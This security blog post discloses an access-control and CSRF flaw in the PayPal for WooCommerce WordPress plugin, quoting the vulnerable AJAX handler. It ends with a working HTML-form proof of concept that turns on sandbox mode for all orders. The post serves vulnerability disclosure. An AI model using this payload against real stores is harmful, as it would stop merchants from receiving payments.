Closed Popular WordPress Plugin PayPal for WooCommerce Contains Privilege Escalation Vulnerability
If you needed yet another reminder of the poor security of WordPress plugins, here is one. For the second time this week one of the 1,000 most popular WordPress plugins has been closed and we have found that it contains a rather easy to spot vulnerability, which doesn’t even appear to be the cause of it being removed. This time it involves the plugin Plugin PayPal for WooCommerce was closed yesterday and has 40,000+ installs according to wordpress.org. The explanation for its closure from the developer is not something we quite understand:
We have an issue with our WordPress account that we’re working to get resolved ASAP, but it does not affect the functionality of the plugin at all.
We went to do a quick look over the security of the plugin we found that it is rather insecure. What we first found that there was missing protection against cross-site request forgery (CSRF) in a number of places. CSRF involves an attacker causing someone else to take an action they didn’t intend. But in looking into the underlying code for one of those we found the issue was larger as it turns out anyone logged in to WordPress can take a variety of the plugin’s actions. That normally isn’t much of an issue with plugins since user accounts are not available to untrusted individuals on most WordPress websites, but this plugin is designed to work with WooCommerce eCommerce plugin and default that plugin creates accounts for customers.
One of the action that can be taken would be to cause orders to “processed in the PayPal sandbox for testing purposes”, so no payment would be received for orders, which would be a big problem.
The code that causes that to happen is accessible through WordPress’ AJAX functionality to anyone logged in to WordPress:
121 | add_action( 'wp_ajax_pfw_ed_shipping_bulk_tool', array( $this, 'angelleye_woocommerce_pfw_ed_shipping_bulk_tool' ) ); |
When that function runs the only checks done is if AJAX request is being made (which would always be the case when accessing it through WordPress’ AJAX functionality) and that is_admin() is true:
123 124 125 | public function angelleye_woocommerce_pfw_ed_shipping_bulk_tool() { if (is_admin() && (defined('DOING_AJAX') || DOING_AJAX)) { |
As the documentation for that function states:
is_admin() will return true when trying to make an ajax request (both front-end and back-end requests)
So that will also always be true.
What should be there is a check for a valid nonce to prevent CSRF and and a capabilities check to limit who can access that.
This is the kind of security issue that we have no doubt would be spotted if a security review of the plugin had been done, but almost no plugins go through a review, even WooCommerce connected plugins where that would be of more value than the average plugin.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.
Proof of Concept
The following proof of concept will cause the sandbox mode to be enabled, when logged in to WordPress.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=pfw_ed_shipping_bulk_tool" method="POST"> <input type="hidden" name="actionType" value="enable_sandbox_mode" /> <input type="hidden" name="actionTargetType" value="all" /> <input type="submit" value="Submit" /> </form> </body> </html>